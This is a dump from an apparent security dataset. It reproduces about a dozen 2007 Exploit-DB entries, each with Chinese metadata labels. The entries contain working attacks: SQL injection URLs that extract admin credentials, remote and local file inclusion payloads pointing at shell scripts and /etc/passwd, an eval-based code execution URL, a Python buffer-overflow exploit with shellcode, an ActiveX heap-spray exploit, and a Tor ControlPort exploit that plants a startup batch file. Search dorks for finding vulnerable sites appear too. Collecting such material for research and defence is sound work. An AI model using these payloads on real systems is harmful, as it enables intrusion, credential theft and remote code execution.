QLWD/code_shield huggingface dataset:
标题: Softbiz Classifieds PLUS - 'id' SQL Injection EDB-ID: 4457 CVE: 2007-5122 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-26 漏洞利用脚本: ##################################################$##################################
####                        Classifieds SQL INJECTION                            ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (R3d.w0rm & Dr.Crash)                                             #
#Script Download : http://www.softbizscripts.com/                                   #
#DORK: "Powered by SoftbizScripts" inurl:store_info.php                             #
#                                                                                   #
#                                                                                   #
#                                                                                   #
#Injection Adress : http://server.com/store_info.php?id=999999%20union/**/select/**/0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,admin_name,pwd,18,19,20,21,22/**/from/**/sbclassified_admin/*
#                                                                                   #
#                                                                                   #
#Our site : Ircrash.com                                                             #
#                                                                                   #
#                                                                                   #
#                                 TNX : GOD                                         #
#####################################################################################

# milw0rm.com [2007-09-26] URL: https://www.exploit-db.com/exploits/4457
标题: Tor < 0.1.2.16 - ControlPort Remote Rewrite EDB-ID: 4468 CVE: 2007-4174 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-29 漏洞利用脚本: <!-- 

Tor < 0.1.2.16 with ControlPort enabled ( not default )
Exploit for Tor ControlPort "torrc" Rewrite Vulnerability http://secunia.com/advisories/26301

Rewrites the torrc to log to a different location: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\t.bat
Also enables debug logging, and an erroneous ExitPolicy looking something like this: reject*:1337\'&' calc.exe  this will output:
[debug] parse_addr_policy(): Adding new entry 'reject*:1337'& calc.exe to the debug log -> t.bat which will run calc.exe on next boot.

This is not very silent though, t.bat will contain something like 45 rows of crap which the user will see in about 1 sec, drop me a mail if you have a better way.

Either have a TOR user visit this HTML or inject it into her traffic when you're a TOR exit.
If you inject, just replace </HEAD> with everything in <HEAD> + </HEAD> ( that's why I tried to fit everything inside <HEAD />), and fix Content-Length

// elgCrew _AT_ safe-mail.net
-->

<html>
<head>
<script language="javascript">

window.onload = function()
{

 cmd = 'cls & echo off & ping -l 1329 my.tcpdump.co -n 1 -w 1 > NUL & del t.bat > NUL & exit';
 inject = '\r\nAUTHENTICATE\r\nSETCONF Log=\"debug-debug file C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\t.bat\"\r\nSAVECONF\r\nSIGNAL RELOAD\r\nSETCONF ExitPolicy=\"reject*:1337\\\'&' + cmd + '&\"\r\nSETCONF Log=\"info file c:\\\\tor.txt\"\r\nSAVECONF\r\nSIGNAL RELOAD\r\n';
 
 form51.area51.value = inject;
 document.form51.submit();
}
</script>

<form target="hiddenframe" name="form51" action="http://localhost.mil.se:9051" method=POST enctype="multipart/form-data">
<input type=hidden name=area51>
</form>
<iframe width=0 height=0 frameborder=0 name="hiddenframe"></iframe>
</head>

<body>
<pre>
  ----
 | y0! |
  ----
          \  \_\_    _/_/
           \     (oo)\_______
                 |_|\        )*
                     ||----w |
                     ||     ||
</pre>
</body>
</html>

# milw0rm.com [2007-09-29] URL: https://www.exploit-db.com/exploits/4468
标题: helplink 0.1.0 - 'show.php' Remote File Inclusion EDB-ID: 4448 CVE: 2007-5099 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-23 漏洞利用脚本: ##########################################################################
# Helplink 0.1.0 (show.php file) Remote File Inclusion Vulnerability     #
# D.S : http://sourceforge.net/projects/helplink/                        #
# V.C                                                                    #
================================show.php=================================#
01 : <?                                                                  #
02 : /**                                                                 #
03 :  *      show.php - just throw some headers and footers around a file#
04 :  */                                                                 #
05 :                                                                     #
06 : include ('include.php');                                            #
07 : public_header();                                                    #
08 : include($HTTP_GET_VARS["file"]); <--- xxxx// Error !!               #
09 : public_footer();                                                    #
10 :                                                                     #
11 : ?>                                                                  #
=========================================================================#
# POC : /show.php?file=Ev!L C0D3                                         #
##########################################################################

# milw0rm.com [2007-09-23] URL: https://www.exploit-db.com/exploits/4448
标题: DFD Cart 1.1 - Multiple Remote File Inclusions EDB-ID: 4451 CVE: 2007-5098 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-24 漏洞利用脚本: DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities

Vulnerability Type: Remote File Inclusion
Vulnerable file: /dfd_cart/app.lib/product.control/core.php/product.control.config.php
Exploit URL: http://localhost/dfd_cart/app.lib/product.control/core.php/product.control.config.php?set_depth=http://localhost/shell.txt?
Method: get
Register_globals: On
Vulnerable variable: set_depth
Line number: 32
Lines:

----------------------------------------------

require ("".$set_depth."app.lib/product.control/core.php/functions.php");


----------------------------------------------

Vulnerability Type: Remote File Inclusion
Vulnerable file: /dfd_cart/app.lib/product.control/core.php/customer.area/customer.browse.list.php
Exploit URL: http://localhost/dfd_cart/app.lib/product.control/core.php/customer.area/customer.browse.list.php?set_depth=http://localhost/shell.txt?
Method: get
Register_globals: On
Vulnerable variable: set_depth
Line number: 179
Lines:

----------------------------------------------
$category_html = 'form_select';
require ("".$set_depth."app.lib/product.control/core.php/category.list.php");
?>

----------------------------------------------

Vulnerability Type: Remote File Inclusion
Vulnerable file: /dfd_cart/app.lib/product.control/core.php/customer.area/customer.browse.search.php
Exploit URL: http://localhost/dfd_cart/app.lib/product.control/core.php/customer.area/customer.browse.search.php?set_depth=http://localhost/shell.txt?
Method: get
Register_globals: On
Vulnerable variable: set_depth
Line number: 154
Lines:

----------------------------------------------
$category_html = 'form_select';
require ("".$set_depth."app.lib/product.control/core.php/category.list.php");
?>

----------------------------------------------
Multiple Remote Vulnerabilities

GrEeTs To sHaDoW sEcUrItY TeAm & str0ke

FoUnD By BiNgZa

DoRk: :(

shadowcrew@hotmail.co.uk

http://shadow.wizhoo.com/

# milw0rm.com [2007-09-24] URL: https://www.exploit-db.com/exploits/4451
标题: Xitami Web Server 2.5 - 'If-Modified-Since' Remote Buffer Overflow EDB-ID: 4450 CVE: 2007-5067 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-24 漏洞利用脚本: #!/usr/bin/python
# Xitami Web Server 2.5 (If-Modified-Since) 0day Remote Buffer Overflow Exploit
# Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
# Tested on: Xitami 2.5c2 / XP SP2 Polish
# Shellcode: Windows Execute Command (calc) <metasploit.com>
# Details:..
#
#     [Module xigui32.exe]
#     If-Modified-Since: Evil, ["A" * 76]\r\n
#     EIP 41414141
#
#     [Module xitami.exe]
#     If-Modified-Since: Evil, ["A" * 104]\r\n
#     EIP 41414141
#
# Product Homepage: http://www.xitami.com/
# Just for fun  ;) 
##

from struct import pack
from time import sleep
from socket import *

host = "192.168.0.1"
port = 80

shellcode = (
"\x6a\x22\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8d\x6c\xf6"
"\xb2\x83\xeb\xfc\xe2\xf4\x71\x84\xb2\xb2\x8d\x6c\x7d\xf7\xb1\xe7"
"\x8a\xb7\xf5\x6d\x19\x39\xc2\x74\x7d\xed\xad\x6d\x1d\xfb\x06\x58"
"\x7d\xb3\x63\x5d\x36\x2b\x21\xe8\x36\xc6\x8a\xad\x3c\xbf\x8c\xae"
"\x1d\x46\xb6\x38\xd2\xb6\xf8\x89\x7d\xed\xa9\x6d\x1d\xd4\x06\x60"
"\xbd\x39\xd2\x70\xf7\x59\x06\x70\x7d\xb3\x66\xe5\xaa\x96\x89\xaf"
"\xc7\x72\xe9\xe7\xb6\x82\x08\xac\x8e\xbe\x06\x2c\xfa\x39\xfd\x70"
"\x5b\x39\xe5\x64\x1d\xbb\x06\xec\x46\xb2\x8d\x6c\x7d\xda\xb1\x33"
"\xc7\x44\xed\x3a\x7f\x4a\x0e\xac\x8d\xe2\xe5\x9c\x7c\xb6\xd2\x04"
"\x6e\x4c\x07\x62\xa1\x4d\x6a\x0f\x97\xde\xee\x6c\xf6\xb2")

opcode = pack("<L", 0x7CA76981) # jmp esp (shell32.dll / XP SP2 Polish)
jmpcode = "\xeb\x22"            # jmp short +0x22

buf = "A" * 72                  # (76 - 4) xigui32.exe
buf += opcode
buf += jmpcode
buf += "\x90" * 128
buf += shellcode

header = (
'GET / HTTP/1.1\r\n'
'Host: %s\r\n'
'If-Modified-Since: Evil, %s\r\n'
'\r\n') % (host, buf)

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
s.send(header)
sleep(1)
s.close()

print "DONE"

# EoF

# milw0rm.com [2007-09-24] URL: https://www.exploit-db.com/exploits/4450
标题: Ask.com/AskJeeves Toolbar Toolbar 4.0.2.53 - ActiveX Remote Buffer Overflow EDB-ID: 4452 CVE: 2007-5108 2007-5107 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-24 漏洞利用脚本: <html>

<SCRIPT language="javascript">

// This is new technique I invent call 'heap fill attack'

var str0ke = 0x0d0d0d0d;

var sucks = unescape( // Launch the system calculator 100 times because what else?

                      // This code currently not work on Solaris/Sparc

        "%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" +

        "%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424" +

        "%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304" +

        "%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0" +

        "%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A" +

        "%uFF57%u63E7%u6C61%u0063");

var dick = 0x400000;

var j0hnson = sucks.length * 2;

var spraySlideSize = dick - (j0hnson+0x38);

var spraySlide = unescape("%u9090%u9090");

spraySlide = getSpraySlide(spraySlide,spraySlideSize);

heapBlocks = (str0ke - 0x400000)/dick;

memory = new Array();for (i=0;i<heapBlocks;i++)

{memory[i] = spraySlide + sucks;}

try{

gadi = new ActiveXObject( 'AskJeevesToolBar.SettingsPlugin.1' );

}

catch(evron)

{

alert(evron);

}

netdev = "A";

while (netdev.length != 0x5e0)

netdev += "A";

netdev += unescape("%0d%0d%0d%0d");

gadi.ShortFormat = netdev;

function getSpraySlide(spraySlide, spraySlideSize)

        {while (spraySlide.length*2<spraySlideSize){

        spraySlide += spraySlide;}

        spraySlide = spraySlide.substring(0,spraySlideSize/2);

        return spraySlide;}

</script>

</html>

# milw0rm.com [2007-09-24] URL: https://www.exploit-db.com/exploits/4452
标题: Wordsmith 1.1b - 'config.inc.php?_path' Remote File Inclusion EDB-ID: 4446 CVE: 2007-5102 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-23 漏洞利用脚本: --==+=================== Electronic Security Team (www.Yee7.com) ====================+==--
--==+            WordSmith 1.0 RC1 (config.inc.php) Remote File Inclusion            +==--
--==+================================================================================+==--

Software:     WordSmith 1.0 RC1
SF page:      http://sourceforge.net/news/?group_id=90418
exploit:      Remote File Inclusion [High Risk]
By:           ShockShadow - Electronic Security Team (www.Yee7.com)
Home:         www.Yee7.com
Download:     http://skrypty.webpc.pl/pobierz13.html

##############################

==============
Dork: built in ;)

PoC:
http://domain.com/Script_Path/config.inc.php?_path=http://shell.txt?
###############################

by: ShockShadow
Thanks to: Mr-m07, Al-Shikh, ThE WhitE WolF, HuRrIcAnE, S0m.Ph, KEENEST, Qanas Alyahood, Falcon Hammdan, ArabHacker
AND ALL FRIENDS 

# milw0rm.com [2007-09-23] URL: https://www.exploit-db.com/exploits/4446
标题: iziContents rc6 - Local/Remote File Inclusion EDB-ID: 4441 CVE: 2007-5055 2007-5054 2007-5053 2005-4600 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-21 漏洞利用脚本: #                                      o      [bug]     /"*._         _        #
#                 .                     .    .      .-*'`    `*-.._.-'/        #
#                                   o       o     < * ))     ,       (         #
#                            .           o          `*-._`._(__.--*"`.\        #
#                                                                              #
# vuln.: iziContents <= RC6 (RFI/LFI) Multiple Remote Vulnerabilities          #
# author: irk4z@yahoo.pl                                                       #
# download:                                                                    #
#   http://www.izicontents.com/download/iziContents1RC6.zip                    #
#                                                                              #
# greetz: cOndemned, kacper ;>                                                 #


# remote file inclusion:
 http://[site]/[path]/modules/search/search.php?language_home=&rootdp=zZz&gsLanguage=http://[shell]?
 http://[site]/[path]/modules/poll/inlinepoll.php?language_home=&rootdp=zZz&gsLanguage=http://[shell]?
 http://[site]/[path]/modules/poll/showpoll.php?language_home=&rootdp=zZz&gsLanguage=http://[shell]?
 http://[site]/[path]/modules/links/showlinks.php?language_home=&rootdp=zZz&gsLanguage=http://[shell]?
 http://[site]/[path]/modules/links/submit_links.php?rootdp=zZz&gsLanguage=http://[shell]? 
 
# local file inclusion:
 http://[site]/[path]/modules/poll/poll_summary.php?rootdp=zZz&admin_home=/etc/passwd%00
 http://[site]/[path]/include/db.php?rootdp=/etc/passwd%00
 
# remote file disclosure:
 http://[site]/[path]/include/tinymce/tiny_mce_gzip.php?theme=../../config.php%00

# milw0rm.com [2007-09-21] URL: https://www.exploit-db.com/exploits/4441
标题: sk.log 0.5.3 - 'skin_url' Remote File Inclusion EDB-ID: 4454 CVE: 2007-5089 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-24 漏洞利用脚本: ?????__________________________________________?????
????????_____________________________________???????
???????????_________________________________????????
??????????????_____________________________?????????
????????????????__________________________??????????
???????????????????______________________???????????
?????????????????????___________________????????????
??????????????????????_________________?????????????
????????????????????????_______________?????????????
??????????????????????????_____________?????????????
___?????????????????????????__________??????????????
_____?????????????????????????________??????????????
________???????????????????????_______??????????????
___________??????????????????????_____??????????????
________________???????????????????___??????????????
_____________________???????????????__??????????????
___________________________????????????????????????_
_____________________???????????????????????????____
______________???????????????????????????????_______
___________???????????????????????????????????______
________????????????????????????????????????????____
______????????_____??????????????????????????????___
____?????????_______??????????????????????????????__
__???????????_______???????????????????????????????_
_?????????????_____?????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
_??????????????????????????????????????????????????_
__?????????????????????????????????????????????????_
_____?????????????????????????????????????????????__
_________????????????????????????????????????????___
_______________??????????????????????????????????___
_________________???????????????????????????????____
_________________???????????????????????????________
________________??????????_____ ??????????___________
_________________?????_________?????_________?????__
__________????_________????____________?????????____
__________?????????????????_____??????????__________
__________?????????????????___?????_________________
__________?????______??????_________________________
# sk.log  <=  Remote File Inclusion Vulnerability
#
#Dork::(
#
#Vuln Code
##################################################
#ERROR1:log.inc.php
#include_once( "$SKIN_URL/php/logdisplay.inc.php" );<<< rfi coded.
#
#Other Files:
#/php-inc/log.inc.php?SKIN_URL=[ShellScript]
##################################################
#Download:http://surfnet.dl.sourceforge.net/sourceforge/sklog/sk.log_v0.5.3.zip
#
################################################## 
####specialthanx:####KEZZAP66345########################
##################################################

# milw0rm.com [2007-09-24] URL: https://www.exploit-db.com/exploits/4454
标题: phpFullAnnu (PFA) 6.0 - SQL Injection EDB-ID: 4449 CVE: 2007-5068 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-23 漏洞利用脚本: #########################################################################################
#
#        Inclusion Hunter Team
#        http://www.ihteam.net
#
#
#         [phpFullAnnu (PFA) 6.0]
#
#
# Class:     SQL Injection  # Found:     22/09/2007 # Remote:    Yes # Site:      http://pfa.netsliver.com/
# Download: http://pfa.netsliver.com/download/download.php?Fichier=pfa-v6.tgz
##########################################################################################



        Vulnerable code:
        index.php
============================================================================================================

$sqltitle = $bdd->readresult($bdd->request('SELECT h_title FROM
'.$tbprefix.'heading WHERE h_mod = \''.$_GET['mod'].'\''));
[...]
//in /include/meta.inc.php
<title><?php echo $title_site, ' - ', $sqltitle;...
//So watch Title bar to see the injection
============================================================================================================



        Exploit (!!!WORK ONLY WITH magic_quotes_gpc = Off!!!):
===================================================================================================================

http://www.site.com/[path]/?lang=fr&mod=login' UNION ALL SELECT concat(a_login ,0x3a,a_password) FROM pfa_admin/*
===================================================================================================================



        Thanks To:
=================================
White_Sheep for his Bugs Hunter;
=================================

# milw0rm.com [2007-09-23] URL: https://www.exploit-db.com/exploits/4449
标题: PHP-Nuke addon Nuke Mobile Entartainment 1.0 - Local File Inclusion EDB-ID: 4447 CVE: 2007-5069 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-23 漏洞利用脚本: # Nuke Mobile Entartainment <= (module_name) Local File Include Vuln

# Script : Nuke Mobile Entartainment

# Version : 1

# Download : http://www.suonerie-polifoniche-gratis.net/mobilentertainment.zip

# BorN To K!LL <> AsbMay's Group ...

# Vuln. Code :

# include 'modules/'.$module_name.'compatibility/data/marque.data.php';

# ExploiT : [path]/data/compatible.php?module_name=[Local File]%00

# Greetings 2 : str0ke - Dr.2 - AsbMay's Group - GoLd_M - KuWaiT SeCuriTy

# milw0rm.com [2007-09-23] URL: https://www.exploit-db.com/exploits/4447
标题: CMS Made Simple 1.2 - Remote Code Execution EDB-ID: 4442 CVE: 2007-5056 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-21 漏洞利用脚本: #                                      o      [bug]     /"*._         _        #
#                 .                     .    .      .-*'`    `*-.._.-'/        #
#                                   o       o     < * ))     ,       (         #
#                            .           o          `*-._`._(__.--*"`.\        #
#                                                                              #
# vuln.: CMS Made Simple 1.1.2 Remote Code Execution Vulnerability             #
# author: irk4z@yahoo.pl                                                       #
# download:                                                                    #
#  http://dev.cmsmadesimple.org/frs/download.php/1424/cmsmadesimple-1.1.2.zip  #
# dork: "powered by CMS Made Simple version 1.1.2"                             #
# greetz: cOndemned, kacper, str0ke                                            #

# code:

/lib/adodb_lite/adodb-perf-module.inc.php:
...
 eval('class perfmon_parent_EXTENDER extends ' . $last_module . '_ADOConnection { }');
...

# exploit:

 http://[site]/[path]/lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=phpinfo();
 http://[site]/[path]/lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=[ PHPCODE ]

# milw0rm.com [2007-09-21] URL: https://www.exploit-db.com/exploits/4442
标题: ClanSphere 2007.4 - 'cat_id' SQL Injection EDB-ID: 4443 CVE: 2007-5061 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-22 漏洞利用脚本: #########################################################################################
#
#        Inclusion Hunter Team
#        http://www.ihteam.net
#
#
#         [Clansphere 2007.4]
#
#
# Class:     SQL Injection
# Found:     22/09/2007
# Remote:    Yes
# Site:      http://www.clansphere.net/
# Download:  http://sourceforge.net/project/showfiles.php?group_id=95430
#
#########################################################################################


       Vulnerable code:
       mods/banners/navlist.php
============================================================================================================
if(!empty($_GET['cat_id'])) {
 $where = "categories_id = '" . $_GET['cat_id'] . "'";
============================================================================================================




       Exploit (!!!WORK ONLY WITH magic_quotes_gpc = Off!!!):
===================================================================================================================
http://www.site.com/[path]/index.php?mod=banners&cat_id=-1'%20UNION%20ALL%20SELECT%20null,concat(users_nick,0x3a,users_pwd),null,nu

ll%20FROM%20cs_users/*
===================================================================================================================


       Thanks To:
=================================
White_Sheep for his Bugs Hunter;
=================================

# milw0rm.com [2007-09-22] URL: https://www.exploit-db.com/exploits/4443